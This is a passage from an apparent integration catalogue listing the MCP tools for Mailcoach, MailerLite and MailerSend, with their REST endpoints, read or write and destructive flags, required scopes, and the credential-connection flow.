mailcoach_delete_subscribers_by_subscriber_tags (write, destructive) — Remove tags from a subscriber DELETE /api/v1/mailcoach/subscribers/{subscriber}/tags. Scopes: api. mailcoach_delete_suppressions_by_suppression (write, destructive) — Remove a suppression DELETE /api/v1/mailcoach/suppressions/{suppression}. Scopes: api. mailcoach_delete_templates_by_template (write, destructive) — Delete a template DELETE /api/v1/mailcoach/templates/{template}. Scopes: api. mailcoach_get_automation_mails (read) — List all automation mails GET /api/v1/mailcoach/automation-mails. Scopes: api. mailcoach_get_automation_mails_by_automationmail (read) — Get an automation mail GET /api/v1/mailcoach/automation-mails/{automationMail}. Scopes: api. mailcoach_get_campaigns (read) — List all campaigns GET /api/v1/mailcoach/campaigns. Scopes: api. mailcoach_get_campaigns_by_campaign (read) — Get a campaign GET /api/v1/mailcoach/campaigns/{campaign}. Scopes: api. mailcoach_get_campaigns_by_campaign_bounces (read) — List campaign bounces GET /api/v1/mailcoach/campaigns/{campaign}/bounces. Scopes: api. mailcoach_get_campaigns_by_campaign_clicks (read) — List campaign link clicks GET /api/v1/mailcoach/campaigns/{campaign}/clicks. Scopes: api. mailcoach_get_campaigns_by_campaign_opens (read) — List campaign opens GET /api/v1/mailcoach/campaigns/{campaign}/opens. Scopes: api. mailcoach_get_campaigns_by_campaign_unsubscribes (read) — List campaign unsubscribes GET /api/v1/mailcoach/campaigns/{campaign}/unsubscribes. Scopes: api. mailcoach_get_email_lists (read) — List all lists GET /api/v1/mailcoach/email-lists. Scopes: api. mailcoach_get_email_lists_by_emaillist (read) — Get a list GET /api/v1/mailcoach/email-lists/{emailList}. Scopes: api. mailcoach_get_email_lists_by_emaillist_segments (read) — List segments for a list GET /api/v1/mailcoach/email-lists/{emailList}/segments. Scopes: api. mailcoach_get_email_lists_by_emaillist_segments_by_segment (read) — Get a segment GET /api/v1/mailcoach/email-lists/{emailList}/segments/{segment}. Scopes: api. mailcoach_get_email_lists_by_emaillist_subscribers (read) — List subscribers for a list GET /api/v1/mailcoach/email-lists/{emailList}/subscribers. Scopes: api. mailcoach_get_email_lists_by_emaillist_tags (read) — List tags for a list GET /api/v1/mailcoach/email-lists/{emailList}/tags. Scopes: api. mailcoach_get_email_lists_by_emaillist_tags_by_tag (read) — Get a tag GET /api/v1/mailcoach/email-lists/{emailList}/tags/{tag}. Scopes: api. mailcoach_get_links_by_link (read) — Get a tracked link GET /api/v1/mailcoach/links/{link}. Scopes: api. mailcoach_get_sends (read) — List all sends GET /api/v1/mailcoach/sends. Scopes: api. mailcoach_get_sends_by_send (read) — Get a send GET /api/v1/mailcoach/sends/{send}. Scopes: api. mailcoach_get_subscriber_imports (read) — List all subscriber imports GET /api/v1/mailcoach/subscriber-imports. Scopes: api. mailcoach_get_subscriber_imports_by_subscriberimport (read) — Get a subscriber import GET /api/v1/mailcoach/subscriber-imports/{subscriberImport}. Scopes: api. mailcoach_get_subscribers_by_subscriber (read) — Get a subscriber GET /api/v1/mailcoach/subscribers/{subscriber}. Scopes: api. mailcoach_get_suppressions (read) — List all suppressions GET /api/v1/mailcoach/suppressions. Scopes: api. mailcoach_get_suppressions_by_suppression (read) — Get a suppression GET /api/v1/mailcoach/suppressions/{suppression}. Scopes: api. mailcoach_get_templates (read) — List all templates GET /api/v1/mailcoach/templates. Scopes: api. mailcoach_get_templates_by_template (read) — Get a template GET /api/v1/mailcoach/templates/{template}. Scopes: api. mailcoach_get_transactional_mails (read) — List transactional mail log items GET /api/v1/mailcoach/transactional-mails. Scopes: api. mailcoach_get_transactional_mails_by_transactionalmail (read) — Get a transactional mail log item GET /api/v1/mailcoach/transactional-mails/{transactionalMail}. Scopes: api. mailcoach_get_transactional_mails_templates (read) — List transactional mail templates GET /api/v1/mailcoach/transactional-mails/templates. Scopes: api. mailcoach_get_transactional_mails_templates_by_transactionalmailtemplate (read) — Get a transactional mail template GET /api/v1/mailcoach/transactional-mails/templates/{transactionalMailTemplate}. Scopes: api. mailcoach_post_automation_mails (write) — Create an automation mail POST /api/v1/mailcoach/automation-mails. Scopes: api. mailcoach_post_automations_by_automation_trigger (write, destructive) — Trigger an automation via webhook -- Trigger an automation's webhook trigger for a list of subscribers. The automation must have at least one Webhook trigger configured. POST /api/v1/mailcoach/automations/{automation}/trigger. Scopes: api. mailcoach_post_campaigns (write) — Create a campaign POST /api/v1/mailcoach/campaigns. Scopes: api. mailcoach_post_campaigns_by_campaign_pause (write) — Pause a campaign that is currently sending. Pausing an already paused campaign is idempotent. POST /api/v1/mailcoach/campaigns/{campaign}/pause. Scopes: api. mailcoach_post_campaigns_by_campaign_resume (write, destructive) — Resume a campaign -- Resume a paused campaign. Resuming a campaign that is already sending is idempotent. POST /api/v1/mailcoach/campaigns/{campaign}/resume. Scopes: api. mailcoach_post_campaigns_by_campaign_send (write, destructive) — Send a campaign -- Start sending the campaign to all subscribers. Campaign must be in draft status. POST /api/v1/mailcoach/campaigns/{campaign}/send. Scopes: api. mailcoach_post_campaigns_by_campaign_send_test (write, destructive) — Send a test email for a campaign -- Send a test email to up to 10 recipients. Campaign must be in draft status. POST /api/v1/mailcoach/campaigns/{campaign}/send-test. Scopes: api. mailcoach_post_email_lists (write) — Create a list POST /api/v1/mailcoach/email-lists. Scopes: api. mailcoach_post_email_lists_by_emaillist_confirm (write) — Confirm a subscriber by list -- Confirm an unconfirmed subscriber. Provide the subscriber's email in the request body. POST /api/v1/mailcoach/email-lists/{emailList}/confirm. Scopes: api. mailcoach_post_email_lists_by_emaillist_resend_confirmation (write, destructive) — Resend confirmation mail by list -- Resend the confirmation email to an unconfirmed subscriber. Provide the subscriber's email in the request body. POST /api/v1/mailcoach/email-lists/{emailList}/resend-confirmation. Scopes: api. mailcoach_post_email_lists_by_emaillist_resubscribe (write) — Resubscribe a subscriber by list -- Resubscribe a previously unsubscribed subscriber. Provide the subscriber's email in the request body. POST /api/v1/mailcoach/email-lists/{emailList}/resubscribe. Scopes: api. mailcoach_post_email_lists_by_emaillist_segments (write) — Create a segment POST /api/v1/mailcoach/email-lists/{emailList}/segments. Scopes: api. mailcoach_post_email_lists_by_emaillist_subscribers (write) — Subscribe an email address to a list POST /api/v1/mailcoach/email-lists/{emailList}/subscribers. Scopes: api. mailcoach_post_email_lists_by_emaillist_tags (write) — Create a tag POST /api/v1/mailcoach/email-lists/{emailList}/tags. Scopes: api. mailcoach_post_email_lists_by_emaillist_unsubscribe (write) — Unsubscribe a subscriber by list -- Unsubscribe a currently subscribed subscriber. Provide the subscriber's email in the request body. POST /api/v1/mailcoach/email-lists/{emailList}/unsubscribe. Scopes: api. mailcoach_post_subscriber_imports (write) — Create a subscriber import POST /api/v1/mailcoach/subscriber-imports. Scopes: api. mailcoach_post_subscriber_imports_by_subscriberimport_append (write) — Append CSV data to an import -- Append additional CSV rows to an existing subscriber import. POST /api/v1/mailcoach/subscriber-imports/{subscriberImport}/append. Scopes: api. mailcoach_post_subscriber_imports_by_subscriberimport_start (write) — Start processing a subscriber import -- Starts the import job. The import must be in draft status. The CSV must have an `email` header column. POST /api/v1/mailcoach/subscriber-imports/{subscriberImport}/start. Scopes: api. mailcoach_post_subscribers_by_subscriber_confirm (write) — Confirm a subscriber POST /api/v1/mailcoach/subscribers/{subscriber}/confirm. Scopes: api. mailcoach_post_subscribers_by_subscriber_resend_confirmation (write, destructive) — Resend confirmation mail POST /api/v1/mailcoach/subscribers/{subscriber}/resend-confirmation. Scopes: api. mailcoach_post_subscribers_by_subscriber_resubscribe (write) — Resubscribe a subscriber POST /api/v1/mailcoach/subscribers/{subscriber}/resubscribe. Scopes: api. mailcoach_post_subscribers_by_subscriber_tags (write) — Add tags to a subscriber POST /api/v1/mailcoach/subscribers/{subscriber}/tags. Scopes: api. mailcoach_post_subscribers_by_subscriber_unsubscribe (write) — Unsubscribe a subscriber POST /api/v1/mailcoach/subscribers/{subscriber}/unsubscribe. Scopes: api. mailcoach_post_suppressions (write) — Suppress an email address POST /api/v1/mailcoach/suppressions. Scopes: api. mailcoach_post_templates (write) — Create a template POST /api/v1/mailcoach/templates. Scopes: api. mailcoach_post_transactional_mails_by_transactionalmail_resend (write, destructive) — Resend a transactional mail POST /api/v1/mailcoach/transactional-mails/{transactionalMail}/resend. Scopes: api. mailcoach_post_transactional_mails_send (write, destructive) — Send a transactional mail -- Send a transactional email. You can either reference a stored template via `mail_name`, or provide `subject` and `html`/`text` directly. POST /api/v1/mailcoach/transactional-mails/send. Scopes: api. mailcoach_put_automation_mails_by_automationmail (write) — Update an automation mail PUT /api/v1/mailcoach/automation-mails/{automationMail}. Scopes: api. mailcoach_put_campaigns_by_campaign (write) — Update a campaign PUT /api/v1/mailcoach/campaigns/{campaign}. Scopes: api. mailcoach_put_email_lists_by_emaillist (write) — Update a list PUT /api/v1/mailcoach/email-lists/{emailList}. Scopes: api. mailcoach_put_email_lists_by_emaillist_segments_by_segment (write) — Update a segment PUT /api/v1/mailcoach/email-lists/{emailList}/segments/{segment}. Scopes: api. mailcoach_put_email_lists_by_emaillist_tags_by_tag (write) — Update a tag PUT /api/v1/mailcoach/email-lists/{emailList}/tags/{tag}. Scopes: api. mailcoach_put_subscriber_imports_by_subscriberimport (write) — Update a subscriber import -- Can only update imports in draft status. PUT /api/v1/mailcoach/subscriber-imports/{subscriberImport}. Scopes: api. mailcoach_put_subscribers_by_subscriber (write) — Update a subscriber PUT /api/v1/mailcoach/subscribers/{subscriber}. Scopes: api. mailcoach_put_templates_by_template (write) — Update a template PUT /api/v1/mailcoach/templates/{template}. Scopes: api. ================================================================================ ## MailerLite URL: https://www.agenticfabriq.com/integrations/mailerlite Section: Integrated Tools MailerLite — 79 MCP tools Provider key: mailerlite. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailerlite_delete_api_automations_by_automation_id (write, destructive) — If you want to delete automation use this `DELETE` request via DELETE /api/automations/{automation_id} DELETE /api/v1/mailerlite/api/automations/{automation_id}. Scopes: api. mailerlite_delete_api_campaigns_by_campaign_id (write, destructive) — If you want to delete a campaign, use this `DELETE` request via DELETE /api/campaigns/{campaign_id} DELETE /api/v1/mailerlite/api/campaigns/{campaign_id}. Scopes: api. mailerlite_delete_api_ecommerce_shops_by_id (write, destructive) — If you want to delete a shop, send this `DELETE` request via DELETE /api/ecommerce/shops/{id} DELETE /api/v1/mailerlite/api/ecommerce/shops/{id}. Scopes: api. mailerlite_delete_api_ecommerce_shops_by_shop_id_carts_by_cart_id_items_by_item_id (write, destructive) — If you want to delete a cart item, send this `DELETE` request via DELETE /api/ecommerce/shops/{shop_id}/carts/{cart_id}/items/{item_id} DELETE /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}/items/{item_id}. Scopes: api. mailerlite_delete_api_ecommerce_shops_by_shop_id_categories_by_category_id (write, destructive) — If you want to delete a category for the given shop, send this `DELETE` request via DELETE /api/ecommerce/shops/{shop_id}/categories/{category_id} DELETE /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/{category_id}. Scopes: api. mailerlite_delete_api_ecommerce_shops_by_shop_id_categories_by_category_id_products_by_product_id (write, destructive) — If you want to unassign a product from a category for a given shop, send this `DELETE` request via DELETE /api/ecommerce/shops/{shop_id}/categories/{category_id}/products/{product_id} DELETE /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/{category_id}/products/{product_id}. Scopes: api. mailerlite_delete_api_ecommerce_shops_by_shop_id_customers_by_customer_id (write, destructive) — If you want to delete a customer for the given shop, send this `DELETE` request via DELETE /api/ecommerce/shops/{shop_id}/customers/{customer_id} DELETE /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/customers/{customer_id}. Scopes: api. mailerlite_delete_api_fields_by_field_id (write, destructive) — If you want to delete a field, use this `DELETE` request via DELETE /api/fields/{field_id} DELETE /api/v1/mailerlite/api/fields/{field_id}. Scopes: api. mailerlite_delete_api_forms_by_form_id (write, destructive) — Use this `DELETE` request to delete a form via DELETE /api/forms/{form_id} DELETE /api/v1/mailerlite/api/forms/{form_id}. Scopes: api. mailerlite_delete_api_groups_by_group_id (write, destructive) — If you want to delete a group, send this `DELETE` request via DELETE /api/groups/{group_id} DELETE /api/v1/mailerlite/api/groups/{group_id}. Scopes: api. mailerlite_delete_api_segments_by_segment_id (write, destructive) — If you wish to delete a segment, use this `DELETE` endpoint via DELETE /api/segments/{segment_id} DELETE /api/v1/mailerlite/api/segments/{segment_id}. Scopes: api. mailerlite_delete_api_subscribers_by_id (write, destructive) — It will removes the subscriber from your account, but all their information is still kept in case they re-subscribe to your list. If you want to delete a subscriber, send this `DELETE` request via DELETE /api/subscribers/{id} DELETE /api/v1/mailerlite/api/subscribers/{id}. Scopes: api. mailerlite_delete_api_subscribers_by_subscriber_id_groups_by_group_id (write, destructive) — If you want to unassign an existing subscriber from a group, send this `DELETE` request via DELETE /api/subscribers/{subscriber_id}/groups/{group_id} DELETE /api/v1/mailerlite/api/subscribers/{subscriber_id}/groups/{group_id}. Scopes: api. mailerlite_delete_api_webhooks_by_webhook_id (write, destructive) — Delete a webhook via DELETE /api/webhooks/{webhook_id} DELETE /api/v1/mailerlite/api/webhooks/{webhook_id}. Scopes: api. mailerlite_get_api_automations (read) — If you want to get all of your automations use this `GET` request via GET /api/automations GET /api/v1/mailerlite/api/automations. Scopes: api. mailerlite_get_api_automations_by_automation_id (read) — If you want to fetch a specific automation you can use this `GET` endpoint via GET /api/automations/{automation_id} GET /api/v1/mailerlite/api/automations/{automation_id}. Scopes: api. mailerlite_get_api_automations_by_automation_id_activity (read) — If you want to fetch the subscriber activity for an automation use this `GET` request via GET /api/automations/{automation_id}/activity GET /api/v1/mailerlite/api/automations/{automation_id}/activity. Scopes: api. mailerlite_get_api_campaigns (read) — If you want to get a list of all of your campaigns based on status or type use this `GET` request via GET /api/campaigns GET /api/v1/mailerlite/api/campaigns. Scopes: api. mailerlite_get_api_campaigns_by_campaign_id (read) — You can fetch an existing campaign using this `GET` request via GET /api/campaigns/{campaign_id} GET /api/v1/mailerlite/api/campaigns/{campaign_id}. Scopes: api. mailerlite_get_api_campaigns_by_campaign_id_reports_subscriber_activity (read) — If you want to get the subscribers' activity of a campaign with status `sent` use this `GET` request via GET /api/campaigns/{campaign_id}/reports/subscriber-activity GET /api/v1/mailerlite/api/campaigns/{campaign_id}/reports/subscriber-activity. Scopes: api. mailerlite_get_api_campaigns_languages (read) — Campaign languages via GET /api/campaigns/languages GET /api/v1/mailerlite/api/campaigns/languages. Scopes: api. mailerlite_get_api_ecommerce_shops (read) — If you want to get a list of all available shops connected to your account, send this `GET` request via GET /api/ecommerce/shops GET /api/v1/mailerlite/api/ecommerce/shops. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id (read) — To fetch a shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_carts (read) — If you want to get a list of carts for a given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/carts GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_carts_by_cart_id (read) — If you want to fetch a cart, please send this `GET` request via GET /api/ecommerce/shops/{shop_id}/carts/{cart_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_carts_by_cart_id_items (read) — If you want to get a list items of the given cart, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/carts/{cart_id}/items GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}/items. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_carts_by_cart_id_items_by_item_id (read) — If you want to create a cart item, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/carts/{cart_id}/items/{item_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}/items/{item_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_categories (read) — If you want to get all categories of the given shop\_id, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/categories GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_categories_by_category_id (read) — If you want to fetch a category for a given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/categories/{category_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/{category_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_categories_by_category_id_products (read) — If you want to get the products for a particular shop and a category, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/categories/{category_id}/products GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/{category_id}/products. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_customers (read) — If you want to get a list of customers for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/customers GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/customers. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_customers_by_customer_id (read) — If you want to fetch a customer for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/customers/{customer_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/customers/{customer_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_orders (read) — If you want to get orders for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/orders GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/orders. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_orders_by_order_id (read) — If you want to fetch an order for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/orders/{order_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/orders/{order_id}. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_products (read) — If you want to get products for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/products GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/products. Scopes: api. mailerlite_get_api_ecommerce_shops_by_shop_id_products_by_product_id (read) — If you want to fetch a product for the given shop, send this `GET` request via GET /api/ecommerce/shops/{shop_id}/products/{product_id} GET /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/products/{product_id}. Scopes: api. mailerlite_get_api_forms_by_form_id (read) — If you want to fetch a specific form you can use this `GET` request via GET /api/forms/{form_id} GET /api/v1/mailerlite/api/forms/{form_id}. Scopes: api. mailerlite_get_api_forms_by_form_id_subscribers (read) — If you want to fetch all the subscribers who signed up to a specific form use this `GET` request via GET /api/forms/{form_id}/subscribers GET /api/v1/mailerlite/api/forms/{form_id}/subscribers. Scopes: api. mailerlite_get_api_forms_by_type (read) — If you want to list all forms in your account, send this `GET` request via GET /api/forms/{type} GET /api/v1/mailerlite/api/forms/by_type/{type}. Scopes: api. mailerlite_get_api_groups (read) — If you want to list all of your groups, you can send this `GET` request via GET /api/groups GET /api/v1/mailerlite/api/groups. Scopes: api. mailerlite_get_api_groups_by_group_id_subscribers (read) — If you want to get all subscribers belonging to a group, send this `GET` request via GET /api/groups/{group_id}/subscribers GET /api/v1/mailerlite/api/groups/{group_id}/subscribers. Scopes: api. mailerlite_get_api_segments (read) — If you want to list all segments in your account, send this `GET` request via GET /api/segments GET /api/v1/mailerlite/api/segments. Scopes: api. mailerlite_get_api_segments_by_segment_id_subscribers (read) — If you want to get all subscribers belonging to a segment, send this `GET` request via GET /api/segments/{segment_id}/subscribers GET /api/v1/mailerlite/api/segments/{segment_id}/subscribers. Scopes: api. mailerlite_get_api_subscribers (read) — If you want to list all of your subscribers, send this `GET` request via GET /api/subscribers GET /api/v1/mailerlite/api/subscribers. Scopes: api. mailerlite_get_api_subscribers_by_id_activity_log (read) — Fetch subscriber activity via GET /api/subscribers/{id}/activity-log GET /api/v1/mailerlite/api/subscribers/{id}/activity-log. Scopes: api. mailerlite_get_api_subscribers_import_by_import_id (read) — If you want to get a single import report, send this `GET` request via GET /api/subscribers/import/{import_id} GET /api/v1/mailerlite/api/subscribers/import/{import_id}. Scopes: api. mailerlite_get_api_timezones (read) — Timezones via GET /api/timezones GET /api/v1/mailerlite/api/timezones. Scopes: api. mailerlite_get_api_webhooks (read) — List all webhooks via GET /api/webhooks GET /api/v1/mailerlite/api/webhooks. Scopes: api. mailerlite_get_api_webhooks_by_webhook_id (read) — Get a webhook via GET /api/webhooks/{webhook_id} GET /api/v1/mailerlite/api/webhooks/{webhook_id}. Scopes: api. mailerlite_post_api_automations (write) — If you want to create draft automations use this `POST` request via POST /api/automations POST /api/v1/mailerlite/api/automations. Scopes: api. mailerlite_post_api_batch (write) — Batching via POST /api/batch POST /api/v1/mailerlite/api/batch. Scopes: api. mailerlite_post_api_campaigns (write) — You can create a campaign using this `POST` request via POST /api/campaigns POST /api/v1/mailerlite/api/campaigns. Scopes: api. mailerlite_post_api_campaigns_by_campaign_id_cancel (write) — If you wish to cancel a campaign that is currently in a ready state, use this `POST` request via POST /api/campaigns/{campaign_id}/cancel POST /api/v1/mailerlite/api/campaigns/{campaign_id}/cancel. Scopes: api. mailerlite_post_api_campaigns_by_campaign_id_schedule (write) — If you want to schedule or send immediately a campaign, use this `POST` request via POST /api/campaigns/{campaign_id}/schedule POST /api/v1/mailerlite/api/campaigns/{campaign_id}/schedule. Scopes: api. mailerlite_post_api_ecommerce_shops (write) — You can create or update a shop. via POST /api/ecommerce/shops POST /api/v1/mailerlite/api/ecommerce/shops. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_carts_by_cart_id_items (write) — You can add or update a cart item. via POST /api/ecommerce/shops/{shop_id}/carts/{cart_id}/items POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}/items. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_categories (write) — You can create or update the category of the given shop. via POST /api/ecommerce/shops/{shop_id}/categories POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_categories_import (write) — If you want to import multiple categories for the given shop, send this `POST` request via POST /api/ecommerce/shops/{shop_id}/categories/import POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/import. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_customers (write) — You can create or update a customer for the given shop. via POST /api/ecommerce/shops/{shop_id}/customers POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/customers. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_orders (write) — You can create or update an order for the given shop. via POST /api/ecommerce/shops/{shop_id}/orders POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/orders. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_orders_import (write) — If you want to import orders including customers, carts and cart items for the given shop, send this `POST` request via POST /api/ecommerce/shops/{shop_id}/orders/import POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/orders/import. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_products (write) — You can create or update a product for the given shop. via POST /api/ecommerce/shops/{shop_id}/products POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/products. Scopes: api. mailerlite_post_api_ecommerce_shops_by_shop_id_products_import (write) — If you want to import products for the given shop, use this `POST` request via POST /api/ecommerce/shops/{shop_id}/products/import POST /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/products/import. Scopes: api. mailerlite_post_api_fields (write) — If you want to create a field that can be assigned to subscribers, use this `POST` request via POST /api/fields POST /api/v1/mailerlite/api/fields. Scopes: api. mailerlite_post_api_groups (write) — If you want to create a group, you can send this `POST` request via POST /api/groups POST /api/v1/mailerlite/api/groups. Scopes: api. mailerlite_post_api_groups_by_group_id_import_subscribers (write) — Use this request to bulk import subscribers to a group. The response is a URL to check the import's progress. via POST /api/groups/{group_id}/import-subscribers POST /api/v1/mailerlite/api/groups/{group_id}/import-subscribers. Scopes: api. mailerlite_post_api_subscribers (write) — If you want to create or update a subscriber, send this `POST` request via POST /api/subscribers POST /api/v1/mailerlite/api/subscribers. Scopes: api. mailerlite_post_api_subscribers_by_id_forget (write) — It will removes the subscriber from your account and all information will be completely deleted in 30 days. This feature is GDPR compliant.If you want to forget a subscriber, send this `POST` request via POST /api/subscribers/{id}/forget POST /api/v1/mailerlite/api/subscribers/{id}/forget. Scopes: api. mailerlite_post_api_subscribers_by_subscriber_id_groups_by_group_id (write) — If you want to assign an existing subscriber to a group, send this `POST` request via POST /api/subscribers/{subscriber_id}/groups/{group_id} POST /api/v1/mailerlite/api/subscribers/{subscriber_id}/groups/{group_id}. Scopes: api. mailerlite_post_api_webhooks (write) — Create a webhook via POST /api/webhooks POST /api/v1/mailerlite/api/webhooks. Scopes: api. mailerlite_put_api_campaigns_by_campaign_id (write) — If you want to update a campaign that is currently with `draft` status, use this `PUT` request via PUT /api/campaigns/{campaign_id} PUT /api/v1/mailerlite/api/campaigns/{campaign_id}. Scopes: api. mailerlite_put_api_ecommerce_shops_by_shop_id_carts_by_cart_id (write) — If you want to update a cart, please send this `PUT` request via PUT /api/ecommerce/shops/{shop_id}/carts/{cart_id} PUT /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/carts/{cart_id}. Scopes: api. mailerlite_put_api_ecommerce_shops_by_shop_id_categories_by_category_id_products_by_product_id (write) — If you want to assign a product to a category for a given shop, send this `PUT` request via PUT /api/ecommerce/shops/{shop_id}/categories/{category_id}/products/{product_id} PUT /api/v1/mailerlite/api/ecommerce/shops/{shop_id}/categories/{category_id}/products/{product_id}. Scopes: api. mailerlite_put_api_fields_by_field_id (write) — If you want to update a field, use this `PUT` request via PUT /api/fields/{field_id} PUT /api/v1/mailerlite/api/fields/{field_id}. Scopes: api. mailerlite_put_api_forms_by_form_id (write) — If you want to update a form use this `PUT` request via PUT /api/forms/{form_id} PUT /api/v1/mailerlite/api/forms/{form_id}. Scopes: api. mailerlite_put_api_groups_by_group_id (write) — If you want to update a group you can send this `PUT` request via PUT /api/groups/{group_id} PUT /api/v1/mailerlite/api/groups/{group_id}. Scopes: api. mailerlite_put_api_segments_by_segment_id (write) — If you want to update a segment use this `PUT` endpoint via PUT /api/segments/{segment_id} PUT /api/v1/mailerlite/api/segments/{segment_id}. Scopes: api. mailerlite_put_api_subscribers_by_id (write) — If you want to update a single subscriber, send this `PUT` request: via PUT /api/subscribers/{id} PUT /api/v1/mailerlite/api/subscribers/{id}. Scopes: api. mailerlite_put_api_webhooks_by_webhook_id (write) — Update a webhook via PUT /api/webhooks/{webhook_id} PUT /api/v1/mailerlite/api/webhooks/{webhook_id}. Scopes: api. ================================================================================ ## MailerSend URL: https://www.agenticfabriq.com/integrations/mailersend Section: Integrated Tools MailerSend — 97 MCP tools Provider key: mailersend. Scopes: activity_read, analytics_read, api, domains_full, domains_read, email_full, email_verification_full, email_verification_read, inbounds_full, recipients_full, recipients_read, sender_identity_full, sender_identity_read, sms_full, sms_read, smtp_users_full, smtp_users_read, suppressions_full, suppressions_read, templates_full, tokens_full, users_full, users_read, webhooks_full. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailersend_delete_domains_by_domain_id (write, destructive) — Delete a domain. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. DELETE /api/v1/mailersend/domains/{domain_id}. Scopes: domains_full. mailersend_delete_domains_by_domain_id_smtp_users_by_smtp_user_id (write, destructive) — Delete SMTP user. An SMTP user is a per-domain credential for sending over SMTP rather than the API. DELETE /api/v1/mailersend/domains/{domain_id}/smtp-users/{smtp_user_id}. Scopes: smtp_users_full. mailersend_delete_identities_by_identity_id (write, destructive) — Delete a sender identity. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. DELETE /api/v1/mailersend/identities/{identity_id}. Scopes: sender_identity_full. mailersend_delete_identities_email_email (write, destructive) — Delete a sender identity by Email. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. DELETE /api/v1/mailersend/identities/email/{email}. Scopes: sender_identity_full. mailersend_delete_inbound_by_inbound_id (write, destructive) — Delete an inbound route. An inbound route receives mail sent TO a subdomain you control and forwards it to a webhook or an address. DELETE /api/v1/mailersend/inbound/{inbound_id}. Scopes: inbounds_full. mailersend_delete_message_schedules_by_message_id (write, destructive) — Delete a scheduled message. A scheduled message is a send whose `send_at` is in the future; it can be inspected and cancelled until it is delivered. DELETE /api/v1/mailersend/message-schedules/{message_id}. Scopes: email_full. mailersend_delete_recipients_by_recipient_id (write, destructive) — Delete a recipient. A recipient is an address MailerSend has seen on this account, with its suppression state. DELETE /api/v1/mailersend/recipients/{recipient_id}. Scopes: recipients_full. mailersend_delete_sms_inbounds_by_sms_inbound_id (write, destructive) — Delete an SMS inbound route. An SMS inbound route forwards received texts to a URL. DELETE /api/v1/mailersend/sms-inbounds/{sms_inbound_id}. Scopes: sms_full. mailersend_delete_sms_numbers_by_sms_number_id (write, destructive) — Delete an SMS phone number. 